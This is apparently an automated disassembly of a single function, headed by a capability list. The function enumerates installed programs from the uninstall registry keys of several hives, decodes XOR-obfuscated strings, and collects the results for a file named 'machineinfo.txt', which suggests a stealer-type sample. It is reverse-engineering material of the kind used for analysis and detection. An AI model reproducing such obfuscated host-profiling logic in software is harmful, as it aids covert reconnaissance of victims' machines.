Function at 0x432f99
Capabilities:
Authenticate hmac
Encode data using xor
Get installed programs
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x4686bf
call fcn.004656a0
mov eax, 0x31f0
call fcn.0043e5d0
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
push ecx
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 4], ebx
call fcn.00435f13
xor eax, eax
mov esi, str.machineinfo.txt
inc eax
mov byte [ebp - 4], al
cmp dword [0x489f94], 0x10
mov dword [ebp - 0xac], eax
cmovae esi, dword [str.machineinfo.txt]
call fcn.0043295d
push ecx
push 0xa
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x1fc]
call fcn.00435e96
movaps xmm0, xmmword [0x47d5f0]
mov edx, ebx
movups xmmword [ebp - 0x7a], xmm0
mov word [ebp - 0x6a], 0xce
mov cl, byte [ebp - 0x7a]
not cl
xor byte [ebp + edx - 0x79], cl
inc edx
cmp edx, 0x10
jb 0x433022
lea edx, [ebp - 0x79]
mov byte [ebp - 0x69], bl
lea ecx, [ebp - 0x1ec]
call fcn.00413108
mov edx, 0x489e00
mov ecx, eax
call fcn.00413456
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], ebx
push eax
push 0x20019
push ebx
push 0x47c8a0
push 0x80000002
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0x84], 0xf003f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xa4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4330ab
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x43380e
mov esi, ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x18], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x11fc]
push eax
push esi
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov edi, eax
test edi, edi
jne 0x43341d
lea eax, [ebp - 0x11fc]
push eax
push 0x47c8a0
lea eax, [ebp - 0x9fc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x60]
push eax
push 0x20019
push edi
lea eax, [ebp - 0x9fc]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x433428
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], al
mov byte [ebp - 4], 3
mov cl, 0x49
mov dword [ebp - 0x18], 0x800
mov edx, eax
mov dword [ebp - 0x4c], 0xc5dff249
mov dword [ebp - 0x48], 0xcfd7dac6
mov dword [ebp - 0x44], 0xd3dbd7f8
mov byte [ebp - 0x40], al
not cl
xor byte [ebp + edx - 0x4b], cl
inc edx
cmp edx, 0xb
jae 0x433172
mov cl, byte [ebp - 0x4c]
jmp 0x433161
lea eax, [ebp - 0x18]
mov byte [ebp - 0x40], 0
push eax
lea eax, [ebp - 0x19fc]
push eax
lea eax, [ebp - 0x84]
push eax
push 0
lea eax, [ebp - 0x4b]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x433409
and dword [ebp - 0x70], eax
lea ecx, [ebp - 0x80]
mov byte [ebp - 0x80], al
lea eax, [ebp - 0x19fc]
push eax
mov dword [ebp - 0x6c], 0xf
call fcn.004127d6
mov byte [ebp - 0x68], 0
lea eax, [ebp - 0x80]
push dword [ebp - 0x68]
lea ecx, [ebp - 0xdc]
push eax
call fcn.00412943
lea ecx, [ebp - 0x80]
call fcn.00412665
mov cl, 0x5b
mov dword [ebp - 0x3f], 0xc7cde95b
mov dword [ebp - 0x3b], 0xcbd7cbd6
xor edx, edx
mov word [ebp - 0x37], 0xd0c2
mov byte [ebp - 0x35], 0
not cl
xor cl, byte [ebp + edx - 0x3e]
mov byte [ebp + edx - 0x3e], cl
inc edx
cmp edx, 9
jae 0x43320a
mov cl, byte [ebp - 0x3f]
jmp 0x4331f5
push ecx
lea eax, [ebp - 0x3e]
mov byte [ebp - 0x35], 0
push eax
lea ecx, [ebp - 0xdc]
call fcn.00411add
cmp eax, 0xffffffff
jne 0x4332ab
mov cl, 0x5c
mov dword [ebp - 0x20], 0xd0caf55c
mov dword [ebp - 0x1c], 0xcfc2d6
xor edx, edx
not cl
xor cl, byte [ebp + edx - 0x1f]
mov byte [ebp + edx - 0x1f], cl
inc edx
cmp edx, 6
jae 0x43324e
mov cl, byte [ebp - 0x20]
jmp 0x433239
push ecx
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0xdc]
call fcn.00411add
cmp eax, 0xffffffff
jne 0x4332ab
mov cl, 0x2e
mov dword [ebp - 0x29], 0xbfb8862e
mov dword [ebp - 0x25], 0xa2a6beb5
xor edx, edx
mov byte [ebp - 0x21], 0
not cl
xor cl, byte [ebp + edx - 0x28]
mov byte [ebp + edx - 0x28], cl
inc edx
cmp edx, 7
jae 0x433292
mov cl, byte [ebp - 0x29]
jmp 0x43327d
push ecx
lea eax, [ebp - 0x28]
mov byte [ebp - 0x21], 0
push eax
lea ecx, [ebp - 0xdc]
call fcn.00411add
cmp eax, 0xffffffff
je 0x4332ee
mov cl, 0x33
mov dword [ebp - 0x34], 0xaba88933
mov word [ebp - 0x30], 0xa9
xor edx, edx
not cl
xor cl, byte [ebp + edx - 0x33]
mov byte [ebp + edx - 0x33], cl
inc edx
cmp edx, 4
jae 0x4332d1
mov cl, byte [ebp - 0x34]
jmp 0x4332bc
push ecx
lea eax, [ebp - 0x33]
mov byte [ebp - 0x2f], 0
push eax
lea ecx, [ebp - 0xdc]
call fcn.00411add
cmp eax, 0xffffffff
je 0x433409
movaps xmm0, xmmword [0x47cbe0]
xor edx, edx
mov dword [ebp - 0x18], 0x800
movups xmmword [ebp - 0x5c], xmm0
mov cl, byte [ebp - 0x5c]
not cl
xor byte [ebp + edx - 0x5b], cl
inc edx
cmp edx, 0xe
jb 0x433302
lea eax, [ebp - 0x18]
mov byte [ebp - 0x4d], 0
push eax
lea eax, [ebp - 0x21fc]
push eax
lea eax, [ebp - 0x84]
push eax
push 0
lea eax, [ebp - 0x5b]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4333f7
mov cl, 0x1b
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x13], cl
mov al, 0xcd
not cl
xor edx, edx
xor al, cl
mov byte [ebp - 0x11], dl
mov byte [ebp - 0x12], al
lea ecx, [ebp - 0x80]
lea eax, [ebp - 0x21fc]
mov dword [ebp - 0x70], edx
push eax
mov byte [ebp - 0x80], dl
call fcn.004127d6
mov byte [ebp - 4], 4
mov cl, 2
mov dword [ebp - 0x10], 0xd5dd02
xor edx, edx
not cl
xor byte [ebp + edx - 0xf], cl
inc edx
cmp edx, 2
jae 0x43338d
mov cl, byte [ebp - 0x10]
jmp 0x43337c
lea eax, [ebp - 0x80]
mov byte [ebp - 0xd], 0
push eax
lea edx, [ebp - 0xf]
lea ecx, [ebp - 0x124]
call fcn.00419965
pop ecx
lea ecx, [ebp - 0x12]
mov byte [ebp - 4], 5
push ecx
mov ecx, eax
call fcn.00411c7b
push eax
lea ecx, [ebp - 0xc4]
call fcn.00411d10
lea eax, [ebp - 0xc4]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xdc]
call fcn.00411c9c
lea ecx, [ebp - 0xc4]
call fcn.00412665
lea ecx, [ebp - 0x124]
call fcn.00412665
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 3
call fcn.00412665
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x94]
call fcn.0042fe5a
push dword [ebp - 0x60]
call ebx
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 1
call fcn.00412665
inc esi
test edi, edi
je 0x4330b3
jmp 0x433432
push dword [ebp - 0x60]
call ebx
push dword [ebp - 0x64]
call ebx
push dword [ebp - 0x64]
call ebx
lea eax, [ebp - 0x64]
push eax
push 0x20019
push 0
push 0x47c8a0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x43380c
xor esi, esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x800
push eax
lea eax, [ebp - 0x11fc]
push eax
push esi
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov edi, eax
test edi, edi
jne 0x4337c8
lea eax, [ebp - 0x11fc]
push eax
push 0x47c8a0
lea eax, [ebp - 0x9fc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x60]
push eax
push 0x20019
push edi
lea eax, [ebp - 0x9fc]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4337d3
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], al
mov byte [ebp - 4], 8
mov cl, 0x40
mov dword [ebp - 0x18], 0x800
mov edx, eax
mov dword [ebp - 0x4c], 0xccd6fb40
mov dword [ebp - 0x48], 0xc6ded3cf
mov dword [ebp - 0x44], 0xdad2def1
mov byte [ebp - 0x40], al
not cl
xor byte [ebp + edx - 0x4b], cl
inc edx
cmp edx, 0xb
jae 0x43351d
mov cl, byte [ebp - 0x4c]
jmp 0x43350c
lea eax, [ebp - 0x18]
mov byte [ebp - 0x40], 0
push eax
lea eax, [ebp - 0x19fc]
push eax
lea eax, [ebp - 0x84]
push eax
push 0
lea eax, [ebp - 0x4b]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4337b4
and dword [ebp - 0x70], eax
lea ecx, [ebp - 0x80]
mov byte [ebp - 0x80], al
lea eax, [ebp - 0x19fc]
push eax
mov dword [ebp - 0x6c], 0xf
call fcn.004127d6
mov byte [ebp - 0x68], 0
lea eax, [ebp - 0x80]
push dword [ebp - 0x68]
lea ecx, [ebp - 0xf4]
push eax
call fcn.00412943
lea ecx, [ebp - 0x80]
call fcn.00412665
mov cl, 0x2c
mov dword [ebp - 0x3f], 0xb0ba9e2c
mov dword [ebp - 0x3b], 0xbca0bca1
xor edx, edx
mov word [ebp - 0x37], 0xa7b5
mov byte [ebp - 0x35], 0
not cl
xor cl, byte [ebp + edx - 0x3e]
mov byte [ebp + edx - 0x3e], cl
inc edx
cmp edx, 9
jae 0x4335b5
mov cl, byte [ebp - 0x3f]
jmp 0x4335a0
push ecx
lea eax, [ebp - 0x3e]
mov byte [ebp - 0x35], 0
push eax
lea ecx, [ebp - 0xf4]
call fcn.00411add
cmp eax, 0xffffffff
jne 0x433656
mov cl, 0x4f
mov dword [ebp - 0x20], 0xc3d9e64f
mov dword [ebp - 0x1c], 0xdcd1c5
xor edx, edx
not cl
xor cl, byte [ebp + edx - 0x1f]
mov byte [ebp + edx - 0x1f], cl
inc edx
cmp edx, 6
jae 0x4335f9
mov cl, byte [ebp - 0x20]
jmp 0x4335e4
push ecx
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0xf4]
call fcn.00411add
cmp eax, 0xffffffff
jne 0x433656
mov cl, 0x57
mov dword [ebp - 0x29], 0xc6c1ff57
mov dword [ebp - 0x25], 0xdbdfc7cc
xor edx, edx
mov byte [ebp - 0x21], 0
not cl
xor cl, byte [ebp + edx - 0x28]
mov byte [ebp + edx - 0x28], cl
inc edx
cmp edx, 7
jae 0x43363d
mov cl, byte [ebp - 0x29]
jmp 0x433628
push ecx
lea eax, [ebp - 0x28]
mov byte [ebp - 0x21], 0
push eax
lea ecx, [ebp - 0xf4]
call fcn.00411add
cmp eax, 0xffffffff
je 0x433699
mov cl, 0x6c
mov dword [ebp - 0x34], 0xf4f7d66c
mov word [ebp - 0x30], 0xf6
xor edx, edx
not cl
xor cl, byte [ebp + edx - 0x33]
mov byte [ebp + edx - 0x33], cl
inc edx
cmp edx, 4
jae 0x43367c
mov cl, byte [ebp - 0x34]
jmp 0x433667
push ecx
lea eax, [ebp - 0x33]
mov byte [ebp - 0x2f], 0
push eax
lea ecx, [ebp - 0xf4]
call fcn.00411add
cmp eax, 0xffffffff
je 0x4337b4
movaps xmm0, xmmword [0x47cbe0]
xor edx, edx
mov dword [ebp - 0x18], 0x800
movups xmmword [ebp - 0x5c], xmm0
mov cl, byte [ebp - 0x5c]
not cl
xor byte [ebp + edx - 0x5b], cl
inc edx
cmp edx, 0xe
jb 0x4336ad
lea eax, [ebp - 0x18]
mov byte [ebp - 0x4d], 0
push eax
lea eax, [ebp - 0x21fc]
push eax
lea eax, [ebp - 0x84]
push eax
push 0
lea eax, [ebp - 0x5b]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4337a2
mov cl, 0x76
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x13], cl
mov al, 0xa0
not cl
xor edx, edx
xor al, cl
mov byte [ebp - 0x11], dl
mov byte [ebp - 0x12], al
lea ecx, [ebp - 0x80]
lea eax, [ebp - 0x21fc]
mov dword [ebp - 0x70], edx
push eax
mov byte [ebp - 0x80], dl
call fcn.004127d6
mov byte [ebp - 4], 9
mov cl, 0x48
mov dword [ebp - 0x10], 0x9f9748
xor edx, edx
not cl
xor byte [ebp + edx - 0xf], cl
inc edx
cmp edx, 2
jae 0x433738
mov cl, byte [ebp - 0x10]
jmp 0x433727
lea eax, [ebp - 0x80]
mov byte [ebp - 0xd], 0
push eax
lea edx, [ebp - 0xf]
lea ecx, [ebp - 0x124]
call fcn.00419965
pop ecx
lea ecx, [ebp - 0x12]
mov byte [ebp - 4], 0xa
push ecx
mov ecx, eax
call fcn.00411c7b
push eax
lea ecx, [ebp - 0xc4]
call fcn.00411d10
lea eax, [ebp - 0xc4]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0xf4]
call fcn.00411c9c
lea ecx, [ebp - 0xc4]
call fcn.00412665
lea ecx, [ebp - 0x124]
call fcn.00412665
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 8
call fcn.00412665
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x94]
call fcn.0042fe5a
push dword [ebp - 0x60]
call ebx
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 1
call fcn.00412665
inc esi
test edi, edi
je 0x43345c
jmp 0x4337dd
push dword [ebp - 0x60]
call ebx
push dword [ebp - 0x64]
call ebx
push dword [ebp - 0x64]
call ebx
lea eax, [ebp - 0x9c]
push eax
push 0x20019
push 0
push 0x47c858
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x43385a
push dword [ebp - 0x9c]
call ebx
xor ebx, ebx
mov byte [ebp - 0xac], bl
lea ecx, [ebp - 0x184]
call fcn.00435ee4
lea eax, [ebp - 0x184]
mov byte [ebp - 4], 0x11
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0043ca86
pop ecx
lea ecx, [ebp - 0x94]
call fcn.004123d3
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xac]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
xor edi, edi
inc edi
mov dword [ebp - 0x68], edi
xor eax, eax
mov dword [ebp - 0x18], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x11fc]
push eax
push edi
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov ebx, eax
mov dword [ebp - 0x34], ebx
test ebx, ebx
jne 0x433cae
push 0x47c8a0
lea eax, [ebp - 0x11fc]
push eax
lea eax, [ebp - 0x9fc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x98]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x9fc]
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x433ca2
xor esi, esi
cmp dword [ebp - 0xa8], esi
jne 0x433ca2
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x800
push eax
lea eax, [ebp - 0x29fc]
push eax
push esi
push dword [ebp - 0x98]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov edi, eax
mov dword [ebp - 0xa8], edi
test edi, edi
jne 0x433c93
lea eax, [ebp - 0x29fc]
push eax
lea eax, [ebp - 0x9fc]
push eax
lea eax, [ebp - 0x31fc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x88]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x31fc]
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x433978
push dword [ebp - 0x88]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x433c93
mov dword [ebp - 0xfc], ebx
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], bl
mov byte [ebp - 4], 0xd
mov cl, 0x1f
mov dword [ebp - 0x18], 0x800
mov edx, ebx
mov dword [ebp - 0x59], 0x9389a41f
mov dword [ebp - 0x55], 0x99818c90
mov dword [ebp - 0x51], 0x858d81ae
mov byte [ebp - 0x4d], bl
not cl
xor byte [ebp + edx - 0x58], cl
inc edx
cmp edx, 0xb
jae 0x4339c6
mov cl, byte [ebp - 0x59]
jmp 0x4339b5
lea eax, [ebp - 0x18]
mov byte [ebp - 0x4d], bl
push eax
lea eax, [ebp - 0x19fc]
push eax
lea eax, [ebp - 0x84]
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x88]
call ebx
test eax, eax
jne 0x433c76
and dword [ebp - 0x70], eax
lea ecx, [ebp - 0x80]
mov byte [ebp - 0x80], al
lea eax, [ebp - 0x19fc]
push eax
mov dword [ebp - 0x6c], 0xf
call fcn.004127d6
mov byte [ebp - 0xa0], 0
lea eax, [ebp - 0x80]
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x10c]
push eax
call fcn.00412943
lea ecx, [ebp - 0x80]
call fcn.00412665
mov cl, 0x36
mov dword [ebp - 0x4a], 0xaaa08436
mov dword [ebp - 0x46], 0xa6baa6bb
xor edx, edx
mov word [ebp - 0x42], 0xbdaf
mov byte [ebp - 0x40], 0
not cl
xor cl, byte [ebp + edx - 0x49]
mov byte [ebp + edx - 0x49], cl
inc edx
cmp edx, 9
jae 0x433a67
mov cl, byte [ebp - 0x4a]
jmp 0x433a52
push ecx
lea eax, [ebp - 0x49]
mov byte [ebp - 0x40], 0
push eax
lea ecx, [ebp - 0x10c]
call fcn.00411add
cmp eax, 0xffffffff
jne 0x433b08
mov cl, 0x79
mov dword [ebp - 0x28], 0xf5efd079
mov dword [ebp - 0x24], 0xeae7f3
xor edx, edx
not cl
xor cl, byte [ebp + edx - 0x27]
mov byte [ebp + edx - 0x27], cl
inc edx
cmp edx, 6
jae 0x433aab
mov cl, byte [ebp - 0x28]
jmp 0x433a96
push ecx
lea eax, [ebp - 0x27]
mov byte [ebp - 0x21], 0
push eax
lea ecx, [ebp - 0x10c]
call fcn.00411add
cmp eax, 0xffffffff
jne 0x433b08
mov cl, 0x2a
mov dword [ebp - 0x3d], 0xbbbc822a
mov dword [ebp - 0x39], 0xa6a2bab1
xor edx, edx
mov byte [ebp - 0x35], 0
not cl
xor cl, byte [ebp + edx - 0x3c]
mov byte [ebp + edx - 0x3c], cl
inc edx
cmp edx, 7
jae 0x433aef
mov cl, byte [ebp - 0x3d]
jmp 0x433ada
push ecx
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x35], 0
push eax
lea ecx, [ebp - 0x10c]
call fcn.00411add
cmp eax, 0xffffffff
je 0x433b4b
mov cl, 0x10
mov dword [ebp - 0x1e], 0x888baa10
mov word [ebp - 0x1a], 0x8a
xor edx, edx
not cl
xor cl, byte [ebp + edx - 0x1d]
mov byte [ebp + edx - 0x1d], cl
inc edx
cmp edx, 4
jae 0x433b2e
mov cl, byte [ebp - 0x1e]
jmp 0x433b19
push ecx
lea eax, [ebp - 0x1d]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0x10c]
call fcn.00411add
cmp eax, 0xffffffff
je 0x433c76
movaps xmm0, xmmword [0x47cc10]
xor edx, edx
mov dword [ebp - 0x18], 0x800
movups xmmword [ebp - 0x78], xmm0
mov cl, byte [ebp - 0x78]
not cl
xor byte [ebp + edx - 0x77], cl
inc edx
cmp edx, 0xe
jb 0x433b5f
lea eax, [ebp - 0x18]
mov byte [ebp - 0x69], 0
push eax
lea eax, [ebp - 0x21fc]
push eax
lea eax, [ebp - 0x84]
push eax
push 0
lea eax, [ebp - 0x77]
push eax
push dword [ebp - 0x88]
call ebx
test eax, eax
jne 0x433c64
mov cl, 0x4a
mov dword [ebp - 0xb0], 0xf
mov byte [ebp - 0x13], cl
mov al, 0x9c
not cl
xor ebx, ebx
xor al, cl
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x12], al
lea ecx, [ebp - 0xc4]
lea eax, [ebp - 0x21fc]
mov dword [ebp - 0xb4], ebx
push eax
mov byte [ebp - 0xc4], bl
call fcn.004127d6
mov byte [ebp - 4], 0xe
mov cl, 8
mov dword [ebp - 0x10], 0xdfd708
mov edx, ebx
not cl
xor byte [ebp + edx - 0xf], cl
inc edx
cmp edx, 2
jae 0x433bf5
mov cl, byte [ebp - 0x10]
jmp 0x433be4
lea eax, [ebp - 0xc4]
mov byte [ebp - 0xd], bl
push eax
lea edx, [ebp - 0xf]
lea ecx, [ebp - 0x13c]
call fcn.00419965
pop ecx
lea ecx, [ebp - 0x12]
mov byte [ebp - 4], 0xf
push ecx
mov ecx, eax
call fcn.00411c7b
push eax
lea ecx, [ebp - 0x124]
call fcn.00411d10
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x10c]
call fcn.00411c9c
lea ecx, [ebp - 0x124]
call fcn.00412665
lea ecx, [ebp - 0x13c]
call fcn.00412665
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 0xd
call fcn.00412665
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x94]
call fcn.0042fe5a
push dword [ebp - 0x88]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 1
call fcn.00412665
xor ebx, ebx
inc esi
test edi, edi
je 0x4338e8
mov edi, dword [ebp - 0x68]
mov ebx, dword [ebp - 0x34]
push dword [ebp - 0x98]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc edi
mov dword [ebp - 0x68], edi
test ebx, ebx
je 0x433860
mov esi, dword [ebp - 0x90]
mov eax, esi
mov edi, dword [ebp - 0x94]
sub eax, edi
push 0x18
pop ecx
cdq
idiv ecx
mov dword [ebp - 0xa0], ecx
mov edx, esi
mov dword [ebp - 0x34], eax
mov ecx, edi
push dword [ebp - 0x32]
push eax
call fcn.004377c0
pop ecx
pop ecx
cmp edi, esi
je 0x433d15
mov ebx, edi
lea edx, [ebx + 0x18]
mov dword [ebp - 0x68], edx
jmp 0x433d11
mov ecx, ebx
call fcn.00413425
mov edx, dword [ebp - 0x68]
lea ecx, [edx + 0x18]
mov dword [ebp - 0x10], ecx
test al, al
jne 0x433d50
mov ebx, edx
mov dword [ebp - 0x68], ecx
mov edx, ecx
cmp edx, esi
jne 0x433cf6
mov eax, esi
sub eax, edi
mov ebx, dword [ebp - 0x34]
push 0x18
pop ecx
cdq
idiv ecx
mov ecx, eax
cmp ecx, ebx
jae 0x433d87
imul ebx, ecx, 0x18
add ebx, edi
cmp ebx, esi
je 0x433d49
mov edi, ebx
mov ecx, edi
call fcn.00412665
push 0x18
pop eax
add edi, eax
cmp edi, esi
jne 0x433d33
mov edi, dword [ebp - 0x94]
mov esi, ebx
jmp 0x433dd3
cmp ecx, esi
je 0x433d82
push 0x18
pop edi
mov edx, ecx
mov ecx, ebx
call fcn.00413425
test al, al
jne 0x433d70
push dword [ebp - 0x10]
add ebx, edi
mov ecx, ebx
call fcn.00411cee
mov ecx, dword [ebp - 0x10]
add ecx, edi
mov dword [ebp - 0x10], ecx
cmp ecx, esi
jne 0x433d57
mov edi, dword [ebp - 0x94]
lea eax, [ebx + 0x18]
jmp 0x433d17
jbe 0x433dd9
mov eax, dword [ebp - 0x8c]
sub eax, edi
cdq
idiv dword [ebp - 0xa0]
cmp ecx, eax
jbe 0x433db7
push ecx
push ecx
lea ecx, [ebp - 0x94]
call fcn.00437704
mov esi, dword [ebp - 0x90]
mov edi, dword [ebp - 0x94]
jmp 0x433dd9
sub ecx, ebx
je 0x433dd3
push 0x18
pop eax
and dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
add esi, eax
sub ecx, 1
jne 0x433dbe
mov dword [ebp - 0x90], esi
sub esi, edi
xor ebx, ebx
mov eax, esi
push 0x18
cdq
pop ecx
idiv ecx
mov esi, eax
test esi, esi
je 0x433e2e
mov cl, 0x30
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x13], cl
lea edx, [ebp - 0x12]
not cl
mov byte [ebp - 0x11], 0
mov al, 0xc6
xor al, cl
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 0x12], al
call fcn.00413108
mov edx, edi
mov ecx, eax
call fcn.00413456
mov edx, 0x489e00
mov ecx, eax
call fcn.00413456
push 0x18
pop eax
inc ebx
add edi, eax
cmp ebx, esi
jb 0x433deb
mov ebx, 0x489e00
lea ecx, [ebp - 0x1ec]
mov edx, ebx
call fcn.00413456
mov esi, eax
mov dword [ebp - 0x5b], 0xbababa68
mov cl, 0x68
mov dword [ebp - 0x57], 0xbabababa
mov dword [ebp - 0x53], 0xbabababa
xor edx, edx
mov word [ebp - 0x4f], 0xbaba
mov byte [ebp - 0x4d], 0
not cl
xor byte [ebp + edx - 0x5a], cl
inc edx
cmp edx, 0xd
jae 0x433e76
mov cl, byte [ebp - 0x5b]
jmp 0x433e65
lea edx, [ebp - 0x5a]
mov byte [ebp - 0x4d], 0
mov ecx, esi
call fcn.00413108
mov edx, ebx
mov ecx, eax
call fcn.00413456
mov edx, ebx
mov ecx, eax
call fcn.00413456
lea ecx, [ebp - 0x1fc]
call fcn.00435e66
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x433814